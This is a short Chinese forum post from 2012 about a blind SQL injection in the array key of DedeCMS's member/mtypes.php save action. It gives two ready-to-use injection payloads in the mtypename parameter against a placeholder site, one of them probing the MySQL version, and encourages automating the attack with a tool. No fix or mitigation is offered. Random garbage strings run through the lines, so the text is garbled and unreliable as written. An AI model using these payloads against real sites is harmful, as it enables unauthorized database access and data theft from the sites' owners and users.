需要magic_quotes_gpc = Off,所以说是鸡肋啊.- s( B7 r: X9 ^9 A2 E( x0 y2 V
) R9 Q, Q4 I% U
! D% U8 e* m% o1 c' g发生在数组key里的注射漏洞,有点意思.
0 |5 ]& |; m# \" h7 M% ^ R 1 E3 x/ j% ]; X/ ^1 h) W# b
这里是盲注,就是麻烦点同样可以利用,可以写个工具,自动话的跑一下' c, Q1 ?% ^: Z7 N5 z
+ a- ]6 X2 O" h$ a# f6 h. M% \% ahttp://www.xxx.com /dede/member/mtypes.php?dopost=save
5 g$ c) U! Q# K$ F" Y
5 ?& C5 W n. K8 H9 H7 f. Qexploit:
R8 e+ F( @" a! {* F( t5 o/ Pmtypename[7' and (@`'` or (56%3D56/*sql inject here*/)) and '3'%3D'3]=c4rp3nt3r6 W# |. Z4 U. n9 S8 s2 |: g
mtypename[7' and (@`'` or (substring(@@version,1,1)=5)) and '3'%3D'3]=c4rp3nt3r
, [7 v' n6 Q+ d5 k. r) g: p! [ |
发表于 2012-12-20 08:08:09
收藏
支持
反对